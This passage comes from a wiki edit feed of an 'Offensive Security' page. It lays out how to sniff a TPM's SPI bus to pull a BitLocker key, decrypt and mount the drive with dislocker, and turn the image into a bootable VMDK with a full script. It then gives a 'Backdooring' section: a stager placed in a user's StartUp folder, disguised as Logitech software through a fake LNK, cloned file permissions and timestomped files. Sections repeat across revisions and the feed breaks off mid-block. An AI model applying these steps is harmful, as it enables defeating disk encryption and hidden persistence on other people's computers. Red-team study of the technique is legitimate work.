== Troubleshooting ==&lt;br /&gt;
&lt;br /&gt;
If the VM fails to boot:&lt;br /&gt;
&lt;br /&gt;
# Mount a Windows 11 installation ISO&lt;br /&gt;
# Select &#039;&#039;&#039;Repair your computer&#039;&#039;&#039;&lt;br /&gt;
# If that fails: &#039;&#039;&#039;Troubleshoot → Advanced Options → Command Prompt&#039;&#039;&#039;&lt;br /&gt;
# Run the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
diskpart&lt;br /&gt;
list volume&lt;br /&gt;
select volume VOLUME_NUMBER   # Should be your EFI partition&lt;br /&gt;
assign letter S:&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
bcdboot C:\Windows /s S: /f UEFI&lt;br /&gt;
exit   # Remove ISO and reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Backdooring ==&lt;br /&gt;
&lt;br /&gt;
=== Mount Drive (Read Only) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /media/bitlocker&lt;br /&gt;
sudo mkdir -p /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;YOUR_HEX_VMK&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
&lt;br /&gt;
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
mount | grep bitlocker&lt;br /&gt;
&lt;br /&gt;
sudo umount /media/bitlocker_mount&lt;br /&gt;
sudo umount /media/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deploying Stager ===&lt;br /&gt;
&lt;br /&gt;
The stager should be added to a users StartUp folder.&lt;br /&gt;
&lt;br /&gt;
=== Setting File Permissions ===&lt;br /&gt;
&lt;br /&gt;
Find an existing file from the target user directory and save its permissions:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
getfattr -n system.ntfs_acl -e hex ../../Downloads/desktop.ini &amp;gt; perms.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apply those permissions to all files in the LogiOptionsPlus folder:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find . -exec setfattr -n system.ntfs_acl -v \&lt;br /&gt;
  &amp;quot;$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d&#039;=&#039; -f2 | head -n2 | tail -n1)&amp;quot; {} \;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify permissions:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ntfssecaudit ffmpeg.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Creating LNK File ===&lt;br /&gt;
&lt;br /&gt;
Using [https://raw.githubusercontent.com/ehusby/mslink/refs/heads/main/mslink_v1.3.sh mslink]:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/alaa/mslink_v1.3.sh \&lt;br /&gt;
  -o logioptionsplus.lnk \&lt;br /&gt;
  -w &#039;C:\Users\domainusers\AppData\Local\LogiOptionsPlus&#039; \&lt;br /&gt;
  -l &#039;C:\Users\domainusers\AppData\Local\LogiOptionsPlus\logioptionsplus.exe&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apply permissions to the LNK file as well:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
setfattr -n system.ntfs_acl -v \&lt;br /&gt;
  &amp;quot;$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d&#039;=&#039; -f2 | head -n2 | tail -n1)&amp;quot; \&lt;br /&gt;
  logioptionsplus.lnk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Timestomping ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
touch -d &amp;quot;2 hours ago&amp;quot; filename&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Offensive Security]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Extract_BitLocker_VMK_from_TPM&amp;diff=2309</id>
		<title>Offensive Security/Extract BitLocker VMK from TPM</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Extract_BitLocker_VMK_from_TPM&amp;diff=2309"/>
		<updated>2026-02-18T08:11:46Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Decrypting the Drive */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= BitLocker VMK Extraction via SPI =&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
* Discrete TPM. Check for specific manufacturer (Infineon, STMicro, Nuvoton). If you see Intel PTT or AMD fTPM in BIOS, that means it&#039;s a firmware-based TPM.&lt;br /&gt;
* A logic analyzer. In the office we have a [https://www.saleae.com/ Saleae].&lt;br /&gt;
* Logic analyzer software. We use [https://www.saleae.com/downloads/ Logic 2].&lt;br /&gt;
&lt;br /&gt;
== Extracting BitLocker VMK ==&lt;br /&gt;
&lt;br /&gt;
=== Locating the TPM Chip ===&lt;br /&gt;
The first step is to locate the TPM chip on the motherboard. The easiest way is to find a schematic for the motherboard and look for the TPM chip description. It is usually close to the CPU.&lt;br /&gt;
&lt;br /&gt;
The best way to find schematics is to find the model number of the motherboard and search for that + &amp;quot;schematics&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Sources for finding schematics:&lt;br /&gt;
* [https://t.me/ schematics|boardviews|ARCHIVE 💻💻]&lt;br /&gt;
* [https://www.badcaps.net/ Badcaps - Laptop, TV, &amp;amp; Other Electronics Repair Forum]&lt;br /&gt;
* Indiafix&lt;br /&gt;
&lt;br /&gt;
Once you locate the correct schematic (typically a .CAD file), leveraging an LLM can significantly accelerate TPM chip identification. LLMs can parse CAD files and quickly pinpoint the TPM component, saving considerable time during the reconnaissance phase.&lt;br /&gt;
&lt;br /&gt;
=== Locating the SPI Bus Pins ===&lt;br /&gt;
After identifying the TPM chip, locate the following SPI bus pins:&lt;br /&gt;
* &#039;&#039;&#039;CLK&#039;&#039;&#039; (Clock)&lt;br /&gt;
* &#039;&#039;&#039;CS&#039;&#039;&#039; (Chip Select)&lt;br /&gt;
* &#039;&#039;&#039;MOSI&#039;&#039;&#039; (Master Out, Slave In)&lt;br /&gt;
* &#039;&#039;&#039;MISO&#039;&#039;&#039; (Master In, Slave Out)&lt;br /&gt;
&lt;br /&gt;
Additionally, establish a proper ground connection to complete the circuit — this step is essential for reliable signal capture.&lt;br /&gt;
&lt;br /&gt;
=== Configuring Logic 2 ===&lt;br /&gt;
Launch Logic 2. Each wire harness on the Saleae analyzer corresponds to a numbered channel in the software. Create a reference table to ensure correct connections and name them accordingly. Example:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Saleae Channel !! Logic 2 Label !! SPI Signal&lt;br /&gt;
|-&lt;br /&gt;
| Channel 0 || D0 || CLK&lt;br /&gt;
|-&lt;br /&gt;
| Channel 1 || D1 || CS&lt;br /&gt;
|-&lt;br /&gt;
| Channel 2 || D2 || MOSI&lt;br /&gt;
|-&lt;br /&gt;
| Channel 3 || D3 || MISO&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Voltage Configuration:&#039;&#039;&#039; Before capturing, set the correct voltage threshold in Logic 2&#039;s device settings. Consult the chip&#039;s datasheet or motherboard schematic to determine the TPM&#039;s operating voltage (typically 1.8V or 3.3V). Select the appropriate voltage level from the device settings panel to ensure accurate signal detection.&lt;br /&gt;
&lt;br /&gt;
=== Adding the SPI Analyzer ===&lt;br /&gt;
In Logic 2, click &#039;&#039;&#039;Analyzers&#039;&#039;&#039; and add the built-in SPI analyzer. Configure with the following settings:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Setting !! Value&lt;br /&gt;
|-&lt;br /&gt;
| MOSI || Assign to your MOSI channel&lt;br /&gt;
|-&lt;br /&gt;
| MISO || Assign to your MISO channel&lt;br /&gt;
|-&lt;br /&gt;
| Clock || Assign to your CLK channel&lt;br /&gt;
|-&lt;br /&gt;
| Enable (CS) || Active High (if probing from flash chip CS line)&lt;br /&gt;
|-&lt;br /&gt;
| Bits per Transfer || 8 bits&lt;br /&gt;
|-&lt;br /&gt;
| Significant Bit || MSB first&lt;br /&gt;
|-&lt;br /&gt;
| Clock State || Rising edge (most TPMs)&lt;br /&gt;
|-&lt;br /&gt;
| Stream to Terminal || Disabled&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{{Note|You may need to test both Clock State and Enable Line settings to identify if the clock is high or low when inactive. If you have captured correct SPI traffic but cannot see the BitLocker VMK, analyze the traffic and adjust settings accordingly.}}&lt;br /&gt;
&lt;br /&gt;
=== Loading the BitLocker SPI Toolkit ===&lt;br /&gt;
To automatically identify the VMK in captured SPI traffic, use the [https://github.com/ReversecLabs/bitlocker-spi-toolkit GitHub - ReversecLabs/bitlocker-spi-toolkit].&lt;br /&gt;
&lt;br /&gt;
# Go to &#039;&#039;&#039;Extensions → Load Existing Extension&#039;&#039;&#039;&lt;br /&gt;
# Navigate to the cloned repo&#039;s &amp;lt;code&amp;gt;analyzer&amp;lt;/code&amp;gt; folder&lt;br /&gt;
# Load the &#039;&#039;&#039;BitLocker-Key-Extractor&#039;&#039;&#039; extension&lt;br /&gt;
# Edit the extension settings and set the &#039;&#039;&#039;Input Analyzer&#039;&#039;&#039; to SPI&lt;br /&gt;
# Enable &#039;&#039;&#039;Stream to Terminal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Attaching Probes and Capturing ===&lt;br /&gt;
Carefully attach the probe hooks to the SPI bus pins. Ensure each connection is secure and making proper electrical contact — poor connections result in signal noise or data loss. Use a magnifying glass if the pins are very small.&lt;br /&gt;
&lt;br /&gt;
# Click &#039;&#039;&#039;Start&#039;&#039;&#039; in Logic 2&lt;br /&gt;
# Immediately power on the target device&lt;br /&gt;
# Wait until Windows has loaded (Windows logo or login screen is visible)&lt;br /&gt;
# Click &#039;&#039;&#039;Stop&#039;&#039;&#039; to end the capture&lt;br /&gt;
&lt;br /&gt;
In the Analyzers panel, locate the BitLocker Key Extractor output. The BitLocker VMK will be displayed as a &#039;&#039;&#039;32-byte hexadecimal string&#039;&#039;&#039; in the Data field. If not immediately visible, scroll through the analyzer results — the VMK annotation typically appears in the latter portion of the boot sequence.&lt;br /&gt;
&lt;br /&gt;
== Decrypting the Drive ==&lt;br /&gt;
&lt;br /&gt;
{{Warning|It is generally recommended &#039;&#039;&#039;NOT&#039;&#039;&#039; to mount the drive on Windows, as the OS may write to the disk, potentially causing issues.}}&lt;br /&gt;
&lt;br /&gt;
Boot a DFIR operating system from USB, such as:&lt;br /&gt;
* [https://tsurugi-linux.org/ Tsurugi Linux]&lt;br /&gt;
* [https://sumuri.com/ SUMURI Digital Forensics (Paladin OS)]&lt;br /&gt;
&lt;br /&gt;
The following commands will mount the drive as &#039;&#039;&#039;read-only&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create two directories&lt;br /&gt;
sudo mkdir -p /media/bitlocker&lt;br /&gt;
sudo mkdir -p /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
# If your VMK is in hex, convert it to binary&lt;br /&gt;
echo &amp;quot;YOUR_HEX_VMK&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
&lt;br /&gt;
# Use fdisk to identify correct drive&lt;br /&gt;
fdisk -l&lt;br /&gt;
&lt;br /&gt;
# Decrypt with dislocker (READ ONLY)&lt;br /&gt;
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker&lt;br /&gt;
&lt;br /&gt;
# Mount virtual files&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
# Verify read only&lt;br /&gt;
mount | grep bitlocker&lt;br /&gt;
&lt;br /&gt;
# Unmount&lt;br /&gt;
sudo umount /media/bitlocker_mount&lt;br /&gt;
sudo umount /media/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Creating a Bootable VMDK from BitLocker-Encrypted Windows Disk ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Mount the Backup Image ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
losetup -Pf --show /path/to/BackupImage.001&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Expected output: &amp;lt;code&amp;gt;/dev/loop0&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/loop1&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Inspect Partition Layout ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fdisk -l /dev/loop1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output:&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p1&amp;lt;/code&amp;gt; — 500M EFI System&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p2&amp;lt;/code&amp;gt; — 128M Microsoft Reserved&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p3&amp;lt;/code&amp;gt; — 250G Microsoft Basic Data (BitLocker encrypted)&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p4&amp;lt;/code&amp;gt; — 2.4G Windows Recovery Environment&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Decrypt BitLocker Volume ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot;VMK_VALUE&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
dislocker /V /dev/loop1p3 -K vmk.bin -- /mnt/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This creates a decrypted file called &amp;lt;code&amp;gt;dislocker-file&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Step 4: Mount Decrypted Volume ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /mnt/bitlocker/dislocker-file /mnt/bitlocker_mounted&lt;br /&gt;
mount  # Verify mounted with ro&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 5: Verification Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Verify loop devices&lt;br /&gt;
losetup -a&lt;br /&gt;
&lt;br /&gt;
# Check partition details&lt;br /&gt;
parted /dev/loop1 unit MiB print&lt;br /&gt;
&lt;br /&gt;
# Verify mounts&lt;br /&gt;
mount | grep loop&lt;br /&gt;
df -h | grep loop&lt;br /&gt;
&lt;br /&gt;
# Check available space&lt;br /&gt;
df -h &amp;quot;OUTPUT-FOLDER&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Verify required tools&lt;br /&gt;
which mkfs.ntfs rsync parted&lt;br /&gt;
&lt;br /&gt;
# Verify decrypted data&lt;br /&gt;
ls -la /mnt/bitlocker_mounted | head -20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 6: Create Bootable VMDK (Script) ===&lt;br /&gt;
&lt;br /&gt;
The script below will:&lt;br /&gt;
* Create a 244GB raw disk image (adjust based on your image size)&lt;br /&gt;
* Partition it to match the original Windows disk (EFI + MSR + Windows + Recovery)&lt;br /&gt;
* Format EFI partition (FAT32) and copy boot files&lt;br /&gt;
* Format Windows partition (NTFS) and copy all decrypted data&lt;br /&gt;
* Format recovery partition (NTFS)&lt;br /&gt;
* Convert raw image to VMDK format&lt;br /&gt;
* Clean up temporary files&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes before running:&#039;&#039;&#039;&lt;br /&gt;
* Lines 16–21: Verify variables are correct before proceeding&lt;br /&gt;
* Line 92: Change partition size depending on image size&lt;br /&gt;
* Line 106: Change depending on image size&lt;br /&gt;
* &#039;&#039;&#039;Time estimate:&#039;&#039;&#039; 30–60 minutes&lt;br /&gt;
* &#039;&#039;&#039;Temporary space needed:&#039;&#039;&#039; ~250GB&lt;br /&gt;
* &#039;&#039;&#039;Final VMDK size:&#039;&#039;&#039; ~74GB (varies by source image)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# ==============================================================================&lt;br /&gt;
# Script to create a bootable VMDK from BitLocker-decrypted Windows disk&lt;br /&gt;
# ==============================================================================&lt;br /&gt;
set -e&lt;br /&gt;
&lt;br /&gt;
RED=&#039;\033[0;31m&#039;&lt;br /&gt;
GREEN=&#039;\033[0;32m&#039;&lt;br /&gt;
YELLOW=&#039;\033[1;33m&#039;&lt;br /&gt;
NC=&#039;\033[0m&#039;&lt;br /&gt;
&lt;br /&gt;
ENCRYPTED_LOOP=&amp;quot;/dev/loop0&amp;quot;&lt;br /&gt;
DECRYPTED_MOUNT=&amp;quot;/mnt/hgfs/Shared_Kali/Laptop Image/bitlockermount&amp;quot;&lt;br /&gt;
WORK_DIR=&amp;quot;/mnt/hgfs/Shared_Kali/Laptop Image&amp;quot;&lt;br /&gt;
RAW_IMAGE=&amp;quot;$WORK_DIR/new_bootable_disk.img&amp;quot;&lt;br /&gt;
FINAL_VMDK=&amp;quot;$WORK_DIR/Windows_Bootable.vmdk&amp;quot;&lt;br /&gt;
TEMP_LOOP=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status() { echo -e &amp;quot;${GREEN}[+]${NC} $1&amp;quot;; }&lt;br /&gt;
print_error()  { echo -e &amp;quot;${RED}[!]${NC} $1&amp;quot;; }&lt;br /&gt;
print_warning(){ echo -e &amp;quot;${YELLOW}[*]${NC} $1&amp;quot;; }&lt;br /&gt;
&lt;br /&gt;
cleanup() {&lt;br /&gt;
    print_warning &amp;quot;Cleaning up...&amp;quot;&lt;br /&gt;
    umount /mnt/new_efi 2&amp;gt;/dev/null || true&lt;br /&gt;
    umount /mnt/old_efi 2&amp;gt;/dev/null || true&lt;br /&gt;
    umount /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
    rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
    if [ -n &amp;quot;$TEMP_LOOP&amp;quot; ] &amp;amp;&amp;amp; [ -b &amp;quot;$TEMP_LOOP&amp;quot; ]; then&lt;br /&gt;
        losetup -d &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
    fi&lt;br /&gt;
    qemu-nbd --disconnect /dev/nbd0 2&amp;gt;/dev/null || true&lt;br /&gt;
}&lt;br /&gt;
trap cleanup EXIT&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Running pre-flight checks...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ &amp;quot;$EUID&amp;quot; -ne 0 ]; then&lt;br /&gt;
    print_error &amp;quot;Please run as root&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if ! command -v sgdisk &amp;amp;&amp;gt; /dev/null; then&lt;br /&gt;
    print_error &amp;quot;sgdisk not installed. Run: apt install gdisk&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -b &amp;quot;$ENCRYPTED_LOOP&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Encrypted loop device $ENCRYPTED_LOOP not found&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -d &amp;quot;$DECRYPTED_MOUNT&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Decrypted mount point $DECRYPTED_MOUNT not found&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
AVAILABLE_SPACE=$(df -BG &amp;quot;$WORK_DIR&amp;quot; | awk &#039;NR==2 {print $4}&#039; | sed &#039;s/G//&#039;)&lt;br /&gt;
if [ &amp;quot;$AVAILABLE_SPACE&amp;quot; -lt 250 ]; then&lt;br /&gt;
    print_error &amp;quot;Insufficient disk space. Need ~250GB, have ${AVAILABLE_SPACE}GB&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Pre-flight checks passed!&amp;quot;&lt;br /&gt;
print_warning &amp;quot;This will create a ~240GB disk image. Press Ctrl+C to cancel, or Enter to continue...&amp;quot;&lt;br /&gt;
read&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Creating 244GB raw disk image...&amp;quot;&lt;br /&gt;
qemu-img create -f raw &amp;quot;$RAW_IMAGE&amp;quot; 244198M&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Setting up loop device...&amp;quot;&lt;br /&gt;
TEMP_LOOP=$(losetup -fP --show &amp;quot;$RAW_IMAGE&amp;quot;)&lt;br /&gt;
print_status &amp;quot;Using loop device: $TEMP_LOOP&amp;quot;&lt;br /&gt;
sleep 2&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Creating GPT partition table with sgdisk...&amp;quot;&lt;br /&gt;
sgdisk -Z &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
&lt;br /&gt;
sgdisk -n 1:2048:1026047    -t 1:EF00 -c 1:&amp;quot;EFI system partition&amp;quot;        &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 2:1026048:1288191 -t 2:0C01 -c 2:&amp;quot;Microsoft reserved partition&amp;quot; &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 3:1288192:494993407 -t 3:0700 -c 3:&amp;quot;Basic data partition&amp;quot;       &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 4:494993408:0     -t 4:2700 -c 4:&amp;quot;Basic data partition&amp;quot;         &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -A 1:set:0 &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -A 4:set:62 &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
partprobe &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
sleep 3&lt;br /&gt;
&lt;br /&gt;
if [ ! -b &amp;quot;${TEMP_LOOP}p1&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Partition creation failed&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
sgdisk -p &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting EFI partition...&amp;quot;&lt;br /&gt;
mkfs.vfat -F32 &amp;quot;${TEMP_LOOP}p1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Copying EFI boot files...&amp;quot;&lt;br /&gt;
mkdir -p /mnt/new_efi /mnt/old_efi&lt;br /&gt;
mount &amp;quot;${TEMP_LOOP}p1&amp;quot; /mnt/new_efi&lt;br /&gt;
mount &amp;quot;${ENCRYPTED_LOOP}p1&amp;quot; /mnt/old_efi&lt;br /&gt;
cp -av /mnt/old_efi/* /mnt/new_efi/&lt;br /&gt;
umount /mnt/new_efi&lt;br /&gt;
umount /mnt/old_efi&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting Windows partition...&amp;quot;&lt;br /&gt;
mkfs.ntfs -f -Q &amp;quot;${TEMP_LOOP}p3&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Copying Windows data...&amp;quot;&lt;br /&gt;
mkdir -p /mnt/new_win&lt;br /&gt;
mount &amp;quot;${TEMP_LOOP}p3&amp;quot; /mnt/new_win&lt;br /&gt;
rsync -aP --info=progress2 &amp;quot;$DECRYPTED_MOUNT/&amp;quot; /mnt/new_win/&lt;br /&gt;
&lt;br /&gt;
SRC_SIZE=$(du -sb &amp;quot;$DECRYPTED_MOUNT&amp;quot; | cut -f1)&lt;br /&gt;
DST_SIZE=$(du -sb /mnt/new_win | cut -f1)&lt;br /&gt;
print_status &amp;quot;Source: $SRC_SIZE bytes | Destination: $DST_SIZE bytes&amp;quot;&lt;br /&gt;
umount /mnt/new_win&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting recovery partition...&amp;quot;&lt;br /&gt;
mkfs.ntfs -f -Q &amp;quot;${TEMP_LOOP}p4&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Detaching loop device...&amp;quot;&lt;br /&gt;
losetup -d &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
TEMP_LOOP=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Converting to VMDK...&amp;quot;&lt;br /&gt;
qemu-img convert -f raw -O vmdk -p &amp;quot;$RAW_IMAGE&amp;quot; &amp;quot;$FINAL_VMDK&amp;quot;&lt;br /&gt;
qemu-img info &amp;quot;$FINAL_VMDK&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Cleaning up...&amp;quot;&lt;br /&gt;
rm -f &amp;quot;$RAW_IMAGE&amp;quot;&lt;br /&gt;
rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;VMDK creation complete! Output: $FINAL_VMDK&amp;quot;&lt;br /&gt;
print_status &amp;quot;Next steps:&amp;quot;&lt;br /&gt;
print_status &amp;quot;1. Import $FINAL_VMDK into VMware/VirtualBox&amp;quot;&lt;br /&gt;
print_status &amp;quot;2. Configure VM as UEFI boot&amp;quot;&lt;br /&gt;
print_status &amp;quot;3. If boot fails, use Windows installation media to run bootrec/bcdboot&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 7: Import VMDK to VMware ===&lt;br /&gt;
&lt;br /&gt;
# Create a new VM&lt;br /&gt;
# Select &#039;&#039;&#039;Use existing virtual disk&#039;&#039;&#039;&lt;br /&gt;
# Select your newly created &amp;lt;code&amp;gt;Windows_Bootable.vmdk&amp;lt;/code&amp;gt;&lt;br /&gt;
# Set Firmware to &#039;&#039;&#039;UEFI&#039;&#039;&#039;&lt;br /&gt;
# RAM: 8GB&lt;br /&gt;
# Processor: 2+ cores&lt;br /&gt;
&lt;br /&gt;
== Troubleshooting ==&lt;br /&gt;
&lt;br /&gt;
If the VM fails to boot:&lt;br /&gt;
&lt;br /&gt;
# Mount a Windows 11 installation ISO&lt;br /&gt;
# Select &#039;&#039;&#039;Repair your computer&#039;&#039;&#039;&lt;br /&gt;
# If that fails: &#039;&#039;&#039;Troubleshoot → Advanced Options → Command Prompt&#039;&#039;&#039;&lt;br /&gt;
# Run the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
diskpart&lt;br /&gt;
list volume&lt;br /&gt;
select volume VOLUME_NUMBER   # Should be your EFI partition&lt;br /&gt;
assign letter S:&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
bcdboot C:\Windows /s S: /f UEFI&lt;br /&gt;
exit   # Remove ISO and reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Backdooring ==&lt;br /&gt;
&lt;br /&gt;
=== Mount Drive (Read Only) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /media/bitlocker&lt;br /&gt;
